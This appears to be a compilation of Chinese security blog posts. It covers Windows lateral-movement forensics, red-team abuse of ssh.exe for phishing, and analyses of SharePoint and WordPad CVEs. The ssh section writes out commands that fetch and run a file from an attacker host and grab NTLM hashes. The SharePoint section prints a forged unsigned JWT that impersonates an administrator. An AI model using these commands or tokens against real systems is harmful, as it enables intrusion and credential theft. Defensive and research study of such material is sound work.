分類: Tech

Windows命令执行排查攻略

在攻防演习中,域控环境的渗透始终是红队和蓝队关注的焦点。作为企业网络的中枢,域控不仅负责用户认证、权限管理,还掌握着资源分配等关键功能。一旦域控被攻破,攻击者将能全面掌控整个网络,这种“一锤定音”的效果使得域控安全无论在进攻还是防守上都显得至关重要。

而在取得了凭据之后,需要执行命令以证明权限,Windows平台提供了丰富的原生工具链,包括但不限于PsExec、WMI(Windows Management Instrumentation)、DCOM(Distributed Component Object Model)、WinRM(Windows Remote Management)等。下面将逐一介绍各工具的工作原理、使用方式以及如何结合事件日志进行溯源和取证分析。

PsExec

工作原理

PsExec 是微软 Sysinternals 套件中的一款远程管理工具,用于在目标 Windows 设备上执行命令。它无需在目标机预先安装客户端,只需管理员权限即可通过 SMB 连接直接执行指定命令。

PsExec及其衍生品RemCom,Impacket等工作方式如下图所示:

默认一般直接加上SMB地址与命令即可执行,加上-s参数则以system权限运行。

溯源取证

在应急响应的过程中,事件查看器中的以下摘要可以定位PsExec类型命令执行的记录

当用户登录时会产生以下事件:

当服务被创建时,会产生以下事件:

当服务启动时,会产生以下事件:

每个服务都会在注册表的HKLMSYSTEMCurrentControlSetServices下创建一个项,当服务被删除时,该项也会被删除,使用Registry Explorer工具可以方便定位服务删除时间,从而完善应急响应报告:

相比于PsExec,SMBExec没有在目标硬盘上放置二进制文件,而是给每条命令创建一个服务,这样更方便溯源攻击者,在事件查看器中可以直接看到执行的命令值。

Windows 管理规范

工作原理

WMI 为系统管理提供了一套标准化接口,虽然它本身不提供远程 Shell,但利用 Win32_Process 类的静态 Create 方法可实现类似 shell 的效果。

溯源取证

同样,当利用该技术执行命令时,事件查看器也会记录对应日志:

Impacket中的wmiexec.py模块在2021年之后的一次更新后,使用了Powershell代替cmd来进行交互,此时会引入新的事件记录项:

其中HostApplication项中会记录具体的命令,Base6解码后的字符串对应以下命令:$ProgressPreference=”SilentlyContinue”;systeminfo 对于应急响应非常有用。

分布式组件对象模型

工作原理

根据微软的定义,DCOM是一种通过远程过程调用 (RPC) 公开应用程序对象的远程协议,它由一组基于微软远程过程调用扩展的扩展组成。DCOM提供了很多组件来执行命令,比如ShellBrowserWindow、ShellWindows、Excel等,常见的CSV命令注入原理就是DCOM注入。其中最好用的是MMC(Microsoft Management Console),Impacket中的dcomexec.py就利用了MMC来实现。

溯源取证

DCOM类型的命令执行排查比较困难,因为默认情况下系统不会记录登录与注销之外的事件,提供一些排查思路。执行DCOM命令执行时,临时文件的文件名可以使用dfir-orc等工具恢复USN日志查到

与WMI类似,Impacket中的dcomexec.py模块在某次更新后也使用了Powershell代替cmd来进行交互,通过筛选PowerShell事件的 600、400 和 403事件项,即可获取攻击者执行的命令值。

Windows远程管理

工作原理

WinRM(Windows Remote Management)是微软对 WS-Management 标准的实现,采用基于 SOAP 的通信方式。自 Windows XP 起集成于系统中,自 Windows Server 2008 R2 起默认启动,监听地址通常为 0.0.0.0:5985 和 127.0.0.1:47001。其中与远程命令执行相关的组件为Windows Remote Shell,它允许在远程主机上执行命令并输出,默认使用cmd,无法交互,如果目标主机启用了PowerShell远程处理(PSRemoting),便可通过该功能实现交互shell。

溯源取证

当目标机器开启了PSRemoting时,事件管理器会记录以下事件:

计划任务

工作原理

Windows可以通过atsvc或者ITaskSchedulerService管道远程创建计划任务,从而达到命令执行的效果。

以Impacket中的atexec.py举例,执行后会在目标机器创建一个新的计划任务(system权限),执行后通过cmd输出到一个由八个随机字符组成的临时文件中,通过SMB读取检索后销毁。

溯源取证

计划任务相关的事件比较多,主要由以下项组成:

不同的远程命令执行技术各有特点,但它们的本质都是攻击者与防御者之间在痕迹与反痕迹技术上的博弈。实际环境中,攻击工具(如 WMI、PsExec、DCOM、WinRM 以及计划任务等)在默认日志记录、痕迹留存周期和日志粒度上存在各自局限性,配置符合零信任原则的访问控制策略(例如最小权限分配和网络分段隔离)能在源头上压缩攻击者的横向移动空间,降低风险。

通过对上述工具的合理利用以及结合事件日志进行排查,既能帮助红队寻找突破口,也能协助蓝队及时发现异常行为并加以防御。无论是命令执行、溯源取证还是日志分析,每一种技术都在攻防对抗中扮演着重要角色,只有深刻理解各自原理与特点,才能在实战中更好地应对和防御域控环境的渗透攻击。

Reference

https://docs.microsoft.com/en-us/windows/win32/api/winsvc/ns-winsvc-service_status

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dcom

https://learn.microsoft.com/en-us/sysinternals/downloads/psexec

https://docs.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-page

https://github.com/sysmon-config/blob/master/sysmonconfig-export.xml#L88

使用SSH暗渡陈仓

在2018年4月发布的Windows 10版本1803中,Windows OpenSSH客户端被默认安装并启用(服务端仍然是一个可选功能,必须手动启用)。虽然这为一小部分Windows用户提供了一些便捷(内网机器不用安装第三方客户端即可实现SSH),但引入一个新功能的同时,也会同时引进一些攻击向量,除了常规的SSH破解&端口转发以外,还存在其他的攻击面。

SSH常规利用

ssh.exe和其他内置程序一样,具有微软的文件签名,相对于cmd.exe或者powershell.exe来说,可以大大降低快捷方式被EDR标记为恶意的可能性。

很多人都使用过ssh -D创建动态端口转发(ssh -D 127.0.0.1:11451 root@server),所有通过这个代理服务器的连接请求都会被转发到远程主机上。比较少用的-R参数同时可以用作反向代理,如果没有明确指定要转发流量的目的地,SSH将充当一个SOCKS代理(例如 ssh -R 11451 root@server)。无论是上述提到的-D还是-R情况,结果都是一样的:在攻击者的机器上绑定了一个端口,通过这个端口可以本地运行各种攻击工具,并在受害者机器上创建一个tunnel。

但是这里很显然地会带来一个问题,如果创建一个调用 SSH 打开反向动态端口,转发到VPS快捷方式文件,显然,打开快捷方式的受害者不知道账户的密码(我们也很可能不想让他们知道),而且可能任何人都可以访问我们机器的恶意软件。针对以上问题,有一些技术手段可以进行规避与优化。

突破桎梏

作为红队成员,我们深知SSH客户端的灵活性和功能丰富性,这使得它成为渗透测试和模拟攻击中的重要工具。我们可以利用SSH的各种选项来定制会话,使其适应特定的攻击场景。例如,我们可以使用端口转发选项来绕过防火墙限制,或者使用密钥认证选项来实现无密码登录,从而更容易地控制受害者的机器。

由于ssh本身提供了大量参数, 而且Windows客户端中大多数选项都有相应的映射和可用性,通过一些精心设计的payload与Windows自身的特性,可以创建一个功能强大且令人信服的钓鱼工具。

当首次使用 SSH 连接到一台机器时,会向用户显示一个警告消息,可以使用 -o 开关来禁用 StrictHostKeyChecking 设置,从而关闭此警告。

-o "StrictHostKeyChecking=no"

如果要执行命令,免不了要拼接cmd.exe或者powershell.exe,对XDR来说是一个很明显的特征。幸运的是,SSH提供了LocalCommand选项,我们可以指定一个在受害者系统上本地执行的命令。这意味着我们可以绕过不能在受害者系统上直接使用命令连接符的限制,从而在受害者系统上执行更复杂的操作,增强攻击的隐蔽性和有效性。这个操作比较有意思,因为Linux与Windows底层架构的不同,导致Windows的一些风控机制对ssh的参数控制出现了偏差。通过这个选项,我们可以指定由作为 ssh.exe 子进程生成的 cmd.exe 进程执行的命令。有趣的是,即使通过本地组策略禁用了 ssh.exe,它仍然能够生成 cmd.exe 并执行命令。

复杂问题简单化,可以拆解为以下步骤:

  1. SSH首先对远程机器进行身份验证。
  2. LocalCommand指定的命令被执行。
  3. Tunnel或SSH命令被创建/执行。

经典的下载文件使用UNC获取NTLM,在cmd以及powershell被禁用的前提下,ssh可以拿到受害者的NTLM,并在受害者的机器上打开一个端口,将流量转发到C2上。

ssh -o "PermitLocalCommand=yes" -o "LocalCommand=scp root@attackerip:简历.pdf %userprofile%\. && %userprofile%\简历.pdf" root@attackerip

为了降低噪音,可以引入-i参数。利用 -i 开关来指定私钥,我们可以更加灵活地进行身份验证,尤其是在需要使用私钥进行SSH连接时。这意味着我们可以尝试从SMB共享中加载私钥,而不是将密钥存储在本地机器上,这样可以减少我们攻击机器上的足迹,同时增加攻击的隐蔽性。

ssh -i \\attackerip\key.pem root@attackerip

顺便说一句,由于近几年爆发高危0day多是NTLM引起的,微软计划打算在最新的Insider版本中逐步停止使用使用Kerberos而非NTLM。Kerberos提供了比NTLM更强的安全保,避免像NTLM那样容易受到中间人攻击和重放攻击。

如果22端口被屏蔽了出站,可以fuzz一下可用的端口,值得注意的是SCP命令使用 -P 开关来指定端口,这与SSH命令的 -p 开关略有不同。

ssh -o "PermitLocalCommand=yes" -o "LocalCommand=scp -P 443 root@attackerip:简历.pdf %userprofile%\. && %userprofile%\简历.pdf" -p 443 root@attackerip

也可以通过ssh来拖系统信息/文件。

实际效果

结合传统的社工钓鱼技术,可以将一个Excel的XLL加载项植入受害者的电脑中,直接GetShell,从防守方的角度来看,要注意可疑的PermitLocalCommand参数以及LocalCommand参数。

Microsoft Product Vulnerabilities Analysis Part Ⅱ

在我们上回的探索中,我们揭开了微软WordPad中的CVE-2023-36563漏洞的神秘面纱。今天,我们将翻开另一章节,深入探讨微软SharePoint Server内部的另一漏洞组合拳——CVE-2023–24955&CVE-2023-29357。这不仅是一个简单的远程代码执行的漏洞,更是一个关于技术巧思与实践延拓的roadmap。

从Web.config开始审计

CVE-2023-29357—CVE-2023–24955的前置漏洞—是一个认证绕过漏洞,攻击者可以通过该漏洞绕过SharePoint Server内置的认证机制,从而访问服务器资源。既然是认证绕过漏洞,可以去微软官网看一下SharePoint Server所对应的鉴权机制与其技术原理。

按照微软官网的教程,打开Web.config可以清楚地看到SharePoint Server 2019默认使用了四种身份验证方式。image-20231231025714517

通过IDA打开Microsoft.SharePoint.IdentityModel.dll可以清晰地看到,该模块注册SPApplicationAuthenticationModule.AuthenticateRequest()Http 事件的方法AuthenticateRequest。由以上代码可以看到,每次向SharePoint Server发送 HTTP 请求时,都会调用此方法来处理鉴权逻辑。image-20231231025920430继续跟下去会发现,SPApplicationAuthenticationModule.ShouldTryApplicationAuthentication()函数将被调用来检查当前的 URL 是否允许使用 OAuth作为身份验证方法。image-20231231025947488在 if (!SPApplicationAuthenticationModule.ShouldTryApplicationAuthentication(context, spfederationAuthenticationModule)) 中,我们可以提取出一系列子路由,如果URL中包含以下子路由,SharePoint Server将启用OAuth认证机制。

/_vti_bin/client.svc
/_vti_bin/listdata.svc
/_vti_bin/sites.asmx
/_api/
/_vti_bin/ExcelRest.aspx
/_vti_bin/ExcelRest.ashx
/_vti_bin/ExcelService.asmx
/_vti_bin/PowerPivot16/UsageReporting.svc
/_vti_bin/DelveApi.ashx
/_vti_bin/DelveEmbed.ashx
/_layouts/15/getpreview.ashx
/_vti_bin/wopi.ashx
/_layouts/15/userphoto.aspx
/_layouts/15/online/handlers/SpoSuiteLinks.ashx
/_layouts/15/wopiembedframe.aspx
/_vti_bin/homeapi.ashx
/_vti_bin/publiccdn.ashx
/_vti_bin/TaxonomyInternalService.json/GetSuggestions
/_layouts/15/download.aspx
/_layouts/15/doc.aspx
/_layouts/15/WopiFrame.aspx

调用SPApplicationAuthenticationModule.ConstructIClaimsPrincipalAndSetThreadIdentity()继续处理认证请求。TryParseOAuthToken()方法将参试从HTTP请求中查询是否存在access_token或Authorization请求头,作为OAuth的令牌储存到text1变量中。image-20231231030032623比如以下请求

GET /_api/web/ HTTP/1.1
Connection: close
Authorization: Bearer <access_token>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 
Host: moresec-test

与此同时,TryParseProofToken()方法负责从请求中提取OAuth身份令牌。该方法检查请求的查询字符串参数prooftoken或X-PROOF_TOKEN请求头,从中获取身份令牌,并将其保存在变量text2中。完成此过程后,text1与text2变量被SPIdentityProofTokenUtilities.CreateFromJsonWebToken()方法。

image-20231231030326267从分支中可以看到,可以推断身份令牌(作为identityTokenString参数传递)和证明令牌(作为proofTokenString参数传递)都应该是 JSON Web Token(JWT)。

打开JsonWebSecurityTokenHandler.cs,找到关键一段

 private bool IsJsonWebSecurityToken(string token)
        {
            return System.Text.RegularExpressions.Regex.IsMatch(token, "^[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+\.[A-Za-z0-9-_]*$");
        }

        private JsonWebSecurityToken ReadActor(System.Collections.Generic.IDictionary<string, string> payload)
        {
            if (!this.JsonWebSecurityTokenRequirement.AllowActorToken)
            {
                return null;
            }
            JsonWebSecurityToken result = null;
            string text;
            payload.TryGetValue("actortoken", out text);
            if (!string.IsNullOrEmpty(text))
            {
                result = (this.ReadTokenCore(text, true) as JsonWebSecurityToken);
                payload.Remove("actortoken");
            }
            return result;
        }
private System.IdentityModel.Tokens.SecurityToken ReadTokenCore(string token, bool isActorToken)
        {
            Utility.VerifyNonNullOrEmptyStringArgument("token", token);
            if (base.Configuration == null)
            {
                throw new System.InvalidOperationException("No configuration");
            }
            if (base.Configuration.IssuerTokenResolver == null)
            {
                throw new System.InvalidOperationException("No configured IssuerTokenResolver");
            }
            if (!this.CanReadToken(token))//1
            {
                throw new System.IdentityModel.Tokens.SecurityTokenException("Unsupported security token.");
            }
            string[] array = token.Split(new char[]
            {
                '.'
            });
            string text = array[0];
            string text2 = array[1];
            string text3 = array[2];
            System.Collections.Generic.Dictionary<string, string> dictionary = new System.Collections.Generic.Dictionary<string, string>(System.StringComparer.Ordinal);
            dictionary.DecodeFromJson(Base64UrlEncoder.Decode(text));
            System.Collections.Generic.Dictionary<string, string> dictionary2 = new System.Collections.Generic.Dictionary<string, string>(System.StringComparer.Ordinal);
            dictionary2.DecodeFromJson(Base64UrlEncoder.Decode(text2));
            string text4;
            dictionary.TryGetValue("alg", out text4);//2
            System.IdentityModel.Tokens.SecurityToken issuerToken = null;
            if (!System.StringComparer.Ordinal.Equals(text4, "none"))//3
            {
                if (string.IsNullOrEmpty(text3))
                {
                    throw new System.IdentityModel.Tokens.SecurityTokenException("Missing signature.");
                }
                System.IdentityModel.Tokens.SecurityKeyIdentifier signingKeyIdentifier = this.GetSigningKeyIdentifier(dictionary, dictionary2);
                System.IdentityModel.Tokens.SecurityToken securityToken;
                base.Configuration.IssuerTokenResolver.TryResolveToken(signingKeyIdentifier, out securityToken);
                if (securityToken == null)
                {
                    throw new System.IdentityModel.Tokens.SecurityTokenException("Invalid JWT token. Could not resolve issuer token.");
                }
                issuerToken = this.VerifySignature(string.Format(System.Globalization.CultureInfo.InvariantCulture, "{0}.{1}", new object[]
                {
                    text,
                    text2
                }), text3, text4, securityToken);
            }
            JsonWebSecurityToken actorToken = null;
            if (!isActorToken)
            {
                actorToken = this.ReadActor(dictionary2);
            }
            string text5;
            dictionary2.TryGetValue("iss", out text5);
            if (string.IsNullOrEmpty(text5))
            {
                throw new System.IdentityModel.Tokens.SecurityTokenValidationException("The token being parsed does not have an issuer.");
            }
            string text6;
            dictionary2.TryGetValue("aud", out text6);
            if (string.IsNullOrEmpty(text6))
            {
                throw new System.IdentityModel.Tokens.SecurityTokenValidationException("The token being parsed does not have an audience.");
            }
            string text7;
            dictionary2.TryGetValue("nbf", out text7);
            if (string.IsNullOrEmpty(text7))
            {
                throw new System.IdentityModel.Tokens.SecurityTokenValidationException("The token being parsed does not have an 'not before' claim.");
            }
            System.DateTime dateTimeFromSeconds = this.GetDateTimeFromSeconds(text7);
            text7 = "";
            dictionary2.TryGetValue("exp", out text7);
            if (string.IsNullOrEmpty(text7))
            {
                throw new System.IdentityModel.Tokens.SecurityTokenValidationException("The token being parsed does not have an 'expires at' claim.");
            }
            System.DateTime dateTimeFromSeconds2 = this.GetDateTimeFromSeconds(text7);
            JsonWebSecurityToken jsonWebSecurityToken = new JsonWebSecurityToken(text5, text6, dateTimeFromSeconds, dateTimeFromSeconds2, this.CreateClaims(dictionary2), issuerToken, actorToken);
            jsonWebSecurityToken.CaptureSourceData(token);
            return jsonWebSecurityToken;
        }

老规矩,先拖到GPT里跑一跑。

在//1处可以看到,JsonWebSecurityTokenHandler.CanReadToken()首先调用该方法以确保与正则表达式”^[A-Za-z0-9-]+.[A-Za-z0-9-]+.[A-Za-z0-9-_]*$”匹配,从而检查用户提供的内容token是否类似于有效的 JWT ,然后提取 JWT 的header 、payload和signature 部分。然后对header和payload部分执行 Base64 解码,最后将它们解析为 JSON 对象。
而在//2处可以看到,alg从标头部分提取字段(即签名算法)。例如,如果 Base64 解码的Header部分是alg:HS512,会呈现出如下状态。重点来了,在//3处我们看到,微软所提供的 JWT 令牌的签名时存在逻辑缺陷。如果该alg字段未设置为none,VerifySignature()则调用该方法来验证提供的 JWT 令牌的签名。然而,如果alg是none,则跳过签名验证检查JsonWebSecurityTokenHandler.ReadTokenCore()。

{
  "alg": "HS512",
  "typ": "JWT"
}

在微软官网相关页面可以找到定义,Sharepoint Server 2019的aud格式为

<client_id>/<resource>@<realm>

比如

{
  "aud": "abcdef12-3456-7890-abcd-ef1234567890/moresec-test@12345678-9abc-def0-1234-567890abcdef"
}

我们使用BurpSuite向服务器发送一个HTTP 请求的示例,用于获取构造字段有效值所需的信息aud。

GET /_api/web/ HTTP/1.1
Connection: close
User-Agent: python-requests/2.27.1
Host: sharepoint
Authorization: Bearer 

HTTP 响应将在WWW-Authenticate响应标头中包含:

HTTP/1.1 401 Unauthorized
Content-Type: text/plain; charset=utf-8
WWW-Authenticate: Bearer realm="moresec-test", client_id="00000003-0000-0ff1-ce00-000000000000", trusted_issuers="00000003-0000-0ff1-ce00-000000000000@moresec-test"

之后,SPIdentityProofToken将根据用户提供的访问和证明令牌创建新的令牌,并且控制流向identityProofTokenHandler.WriteToken(xmlWriter, spidentityProofToken)处,随后,identityProofTokenHandler由以下方法返回SPClaimsUtility.GetIdentityProofTokenHandler():

internal static SecurityTokenHandler GetIdentityProofTokenHandler()
{
  return securityTokenHandlerCollection.Where((SecurityTokenHandler h) => h.TokenType == typeof(SPIdentityProofToken)).First<SecurityTokenHandler>();
}

该方法的实现SPClaimsUtility.GetIdentityProofTokenHandler()意味着identityProofTokenHandler返回的将是 的实例SPIdentityProofTokenHandle,identityProofTokenHandler.ValidateToken(spidentityProofToken2)将流至SPIdentityProofTokenHandler.ValidateTokenIssuer()。在该方法中,如果token参数是哈希证明令牌,则将跳过该字段的验证issuer。将字段设置ver为hashedprooftoken,JWT 令牌的有效负载部分会使该方法返回true,从而允许issuer破坏字段验证检查。

简单的内容欺骗

继续之前的讨论,SPApplicationAuthenticationModule.TryExtractAndValidateToken() 方法首先调用 SPClaimsUtility.VerifyProofTokenEndPointUrl(tokenContext) 以验证当前 URL 的哈希值。该 endpointurl 的计算结果预期将被存储在 JWT 的有效payload。执行此方法后,代码流将传递至SPApplicationAuthenticationModule.ConstructIClaimsPrincipalAndSetThreadIdentity()。重要的是,如果 spincomingTokenContext.TokenType 不等于 spincomingTokenContext.Loopback,且当前 HTTP 请求未经 SSL 加密,则系统将触发异常。因此,在构造虚假 JWT 令牌时,必须将 isloopback 设置为 true,以确保 spincomingTokenContext.TokenType 与 spincomingTokenContext.Loopback 相等,防止异常发生并保证代码流程的正常执行。随后,令牌将被传递到SPApplicationAuthenticationModule.SignInProofToken()。SecurityTokenForContext此方法将从用户提供的 JWT 令牌创建一个实例,并将其发送到安全令牌服务 (STS) 进行身份验证。如果 STS 接受欺骗性的 JWT 令牌,那么就有可以冒充任何 SharePoint 用户。只要知道它 的nameid类似如下的JWT

eyJhbGciOiAibm9uZSJ9.eyJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAiLCJhdWQiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAvc3BsYWJAM2I4MGJlNmMtNjc0MS00MTM1LTkyOTItYWZlZDhkZjU5NmFmIiwibmJmIjoiMTY3MzQxMDMzNCIsImV4cCI6IjE2OTM0MTAzMzQiLCJuYW1laWQiOiJjIy53fEFkbWluaXN0cmF0b3IiLCJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3NoYXJlcG9pbnQvMjAwOS8wOC9jbGFpbXMvdXNlcmxvZ29ubmFtZSI6IkFkbWluaXN0cmF0b3IiLCJhcHBpZGFjciI6IjAiLCJpc3VzZXIiOiIwIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS9vZmZpY2UvMjAxMi8wMS9uYW1laWRpc3N1ZXIiOiJBY2Nlc3NUb2tlbiIsInZlciI6Imhhc2hlZHByb29mdG9rZW4iLCJlbmRwb2ludHVybCI6IkZWSTdCV1V1dVdmc3pPN1dZUlpZaWkwek1lOE9hU2FYTy93eURSM1c2ZTQ9IiwibmFtZSI6ImYjeHd8QWRtaW5pc3RyYXRvciIsImlkZW50aXR5cHJvdmlkZXIiOiJ3a

因此,我们探讨了一种可能的方法来绕过身份验证,这要求至少知晓 SharePoint 站点上的一个用户名。如果无法满足此条件,SharePoint 站点将拒绝身份验证请求,从而限制我们访问任何功能。显而易见,Windows内置了Administrator账号,不过有具体的限制条件:

  • SharePoint 服务账户不应配置为“内置管理员”。
  • 站点管理员账户也不应设为“内置管理员”。
  • 唯一需要成为 SharePoint Server 的“内置管理员”的是Farm Administrator。

image-20231231030458753
参考CVE-2021-26420,在使用 SharePoint 的初始场配置向导期间,将启用许多其他功能,用户配置文件服务是负责入口点的服务/my。该入口点已被Read Permission授予Authenticated users,这意味着任何人都可以访问该站点,获取用户列表和管理员用户名。
简单概括就是:

  • 在第一次请求时,我们可以首先模拟 Windows 上的任何用户,甚至是本地用户,例如NT AUTHORITYLOCAL SERVICE, NT AUTHORITYSYSTEM。
  • 经过身份验证后,使用 ListData 服务获取站点管理员:/my/_vti_bin/listdata.svc/UserInformationList?$filter=IsSiteAdminimage-20231231030528302

经过以上操作即可Bypass认证机制,模拟管理员账户进入SharePoint系统。

从Pre-Auth到RCE

经过观察易得,DynamicProxyGenerator.GenerateProxyAssembly()函数中存在代码注入漏洞。

public virtual Assembly GenerateProxyAssembly(DiscoveryClientDocumentCollection serviceDescriptionDocuments, string proxyNamespaceName, string assemblyPathAndName, string protocolName, out string sourceCode)
{

  CodeNamespace codeNamespace = new CodeNamespace(proxyNamespaceName); //4
  CodeCompileUnit codeCompileUnit = new CodeCompileUnit();
  codeCompileUnit.Namespaces.Add(codeNamespace); //5
  codeCompileUnit.ReferencedAssemblies.Add("System.dll");
  CodeDomProvider codeDomProvider = CodeDomProvider.CreateProvider("CSharp");
  StringCollection stringCollection = null;

  using (TextWriter textWriter = new StringWriter(new StringBuilder(), CultureInfo.InvariantCulture))
  {
    CodeGeneratorOptions codeGeneratorOptions = new CodeGeneratorOptions();
    codeDomProvider.GenerateCodeFromCompileUnit(codeCompileUnit, textWriter, codeGeneratorOptions);
    textWriter.Flush();
    sourceCode = textWriter.ToString(); //6
  }
  CompilerResults compilerResults = codeDomProvider.CompileAssemblyFromDom(compilerParameters, new CodeCompileUnit[] { codeCompileUnit }); //7

}

主要逻辑是生成一个带有proxyNameSpace的Assembly,在//4处,使用实例proxyNamespaceName。然后将该CodeNamespace实例添加到codeCompileUnit.Namespaces处。之后,在//6处,将使用上述内容生成源代码。由于方法没有对proxyNamespaceName参数进行验证。因此,我们可以提供恶意Payload作为proxyNamespaceName参数,可以作为shellcode将任意内容注入到要编译的代码。

namespace test{
    pseudo shellcode
}
namespace Foo{}

最终效果如下面视频所示:

Reference

●https://starlabs.sg/blog/2023/09-sharepoint-pre-auth-rce-chain/](https://starlabs.sg/blog/2023/09-sharepoint-pre-auth-rce-chain/
●https://steve.thelineberrys.com/mixing-friendly-forms-based-auth-with-ntlm-windows-auth-in-sharepoint/
●https://learn.microsoft.com/en-us/previous-versions/office/developer/sharepoint-2010/ee557605
●https://learn.microsoft.com/zh-hk/sharepoint/security-for-sharepoint-server/authentication-overview
●https://medium.com/willhanchen/jwt-json-web-token-%E7%B0%A1%E4%BB%8B-ca93d35c85c3
●https://oauth.net/2/
●https://learn.microsoft.com/zh-tw/dotnet/api/microsoft.identitymodel.tokens.validators.validateaudience?view=msal-web-dotnet-latest#microsoft-identitymodel-tokens-validators-validateaudience(system-collections-generic-ienumerable((system-string))-microsoft-identitymodel-tokens-securitytoken-microsoft-identitymodel-tokens-tokenvalidationparameters
●https://learn.microsoft.com/en-us/sharepoint/dev/sp-add-ins/authorization-code-oauth-flow-for-sharepoint-add-ins
●https://www.thezdi.com/blog/2021/10/5/cve-2021-26420-remote-code-execution-in-sharepoint-via-workflow-compilation

Microsoft Product Vulnerabilities Analysis Part Ⅰ

最近,微软更新了一批安全补丁。其中CVE-2023-36563(Microsoft WordPad Information Disclosure Vulnerability)和CVE-2023-24955(Microsoft SharePoint Server Remote Code Execution Vulnerability)比较有意思,现将国内外的一些研究成果汇总一下,看看如何从微软严苛的SDL中带着镣铐跳舞。

Bindiff一下 你就知道

对最近爆出的nDay漏洞进行分析时,对更新补丁进行差异化分析是非常有效的技术手法,常见的工具便是Bindiff和IDA Pro。由于微软的安全补丁描述中阐述了该漏洞会导致NTLM Hash的泄漏,可以管中窥豹得出该漏洞可能和SMB请求或者UNC路径有关联。
image.png
另外,由于该补丁作用于WordPad程序,可得该漏洞的触发点可能与RTF文件的格式有关,思路有了就开始进行技术分析。
打补丁之前的MD5:bd05d1b9fba2f5fb6fbb59d3a78d84
image.png
打补丁之后的MD5:e46d2a1e4836bd00eeccc0e1db0f52
image.png
image.png
通过IDA Pro + BinDiff的组合可以看到补丁后两者的函数变动,其中一个名叫LoadImageResource的函数引起了注意,和图像交互的地方涉及解析图片,可能会是漏洞的锚点。
image.png
尝试在此函数上设置了一个断点,运行程序,发现在预览图像时触发了该断点。
通过BinDiff可以看到,打过补丁后的WordPad程序添加了一个名为QueryConvert OLELinkCallback的新函数,通过ChatGTP 4.0的帮助,我们尝试分析这个新函数的作用。image.png

通过GPT的帮助,了解到该漏洞可能与 Microsoft 的对象链接和嵌入 (Object Linking and Embedding) 格式有关。本质上,OLE 允许将对象和文件嵌入到 Windows 上的其他文件中。比如可以将微软画图(mspaint)创建的画图对象嵌入到RTF等富文本文件中。image.png

而使用二进制编辑器打开测试文件,可以明显地看到有一个objdata包含嵌入对象的十六进制数据的标记。image.png

探索OLE的奥义

近年来,微软针对OLE技术修复了多个高风险漏洞,包括远程代码执行漏洞。这些漏洞允许攻击者在用户系统上执行任意代码,通常是通过社工钓鱼工程手段诱导用户连接到C2服务器或打开恶意文件实现。臭名昭著的CVE-2022-30190便是通过OLE组件攻击用户,攻击者通常会创建一个包含对恶意OLE对象链接的MS Office文档。这个OLE对象通常是一个位于远程服务器上的HTML文件,链接使用特殊的URI方案在HTML文件中嵌入恶意脚本。当用户打开这个文档时,即使在受保护模式下且宏被禁用的情况下,攻击者创建的文档也会运行MSDT(Microsoft Windows支持诊断工具),并通过一系列参数向这个工具传递命令,该命令将以打开文档用户的权限在受害者的系统上执行。而OLE 的大部分功能都是由ole32.dl的动态链接库实现的。
老规矩,通过BinDiff的分析后发现可以清晰地看到,补丁后的ole32.dll添加了五个新函数:

CheckOLELinkConversionRegistrySetting
FindStringInMultiString
IsAppExcludedFromOLELinkConversionRegistrySetting
OleConvertOLESTREAMToIStorage2
OleConvertOLESTREAMToIStorageEx2

通过微软的官方文档可以看到OleConvertOLESTREAMToIStorage2与OleConvertOLESTREAMToIStorageEx2的定义。image.pngimage.png
image.png
从IDA的分析中不难看出,新的OleConvertOLESTREAMToIStorage2 函数进行了额外的新参数有效性检查,这可以防止无效或恶意的内存访问,而ole漏洞的触发点在微软官方文档中也给出了,是LinkedObject。
image.png
温故而知新,CVE-2017-11882的原理与这个洞非常相似,当winword.exe加载RTF文件并解析RTF文件格式后,会调用函数ole32!OleConvertOLESTREAMToIStorage将指定的对象从OLE 1存储模型转换为OLE 2结构化存储对象。其内部调用的ole32! wConvert OLESTREAMTOIStorage负责从RTF文件中解析,转换OLE 1对象到OLE 2存储对象,最后ole32! GenericObjectToIStorage函数负责将OLE 2存储对象通过剪切板的方式传送给EquEdt32.exe进程处理。

构造Payload

复杂问题简单化,现在只需要构造一个恶意OLE对象,触发LinkedObject中的不安全转换机制,导致Windows强制进行NTLM身份验证,即可证明危害性。顺便说一句,由于近几年爆发高危0day多是NTLM引起的,微软计划打算在最新的Insider版本中逐步停止使用使用Kerberos而非NTLM。Kerberos提供了比NTLM更强的安全保,避免像NTLM那样容易受到中间人攻击和重放攻击。

下载oletools解析rtf文件,可以清晰地看到,FormatID值为0x2,查看微软官方文档可知 ,若 OLE 对象的类型为LinkedObject,则该TopicName字段应指向链接文件的 UNC 路径:

除了将TopicName设置为SMB目标外,还需要删除NativeDataSize和NativeData的chunk,因为LinkedObject结构不包含它们。

美中不足的是会有一个提示框,这是微软MotW(Mark of the Web)功能在起作用,它是Windows内置的安全功能,会针对从互联网上下载的文件给予一个MoTW标签,当开启具有MoTW标签的文件,Windows就会显示警告,要求使用者小心。

MoTW Bypass漏洞CVE-2022-41091已经被修复,以下是演示视频。

好消息是,虽然Wordpad弹了个框,不过受害者机器已经向攻击者的服务器发起了NTLM身份验证。

总结

在高危漏洞层出不穷的今天,保持安全意识有一说一比较困难,比如WinRAR和Notepad都会出现因为栈溢出导致的RCE,真的是防不胜防。OLE组件的远程代码执行(RCE)漏洞和Excel中通过动态数据交换(DDE)功能引起的CSV注入漏洞。这些漏洞展示了攻击者如何利用复杂的数据交换机制和文档功能来执行未授权的代码,这些漏洞都和我们用户朝夕相处,而且很具有迷惑性,比如这次提到的漏洞当弹框出现的时候,你的NTLM已经被窃取了。还是要保持最小权限原则,对各种渠道收到的不明文件保持警惕,定期更新杀毒软件与系统版本,坚持最小权限原则,每个人都是自己网络安全的第一责任人,通过结合技术修复和安全意识提升,我们可以更好地保护自己免受这些漏洞的威胁。

CNOA OA Information Disclosure Vulnerability

Product

CNOA OA System v5.1.1.5

Official site

https://www.cnoa.cn/

Vulnerability Detail

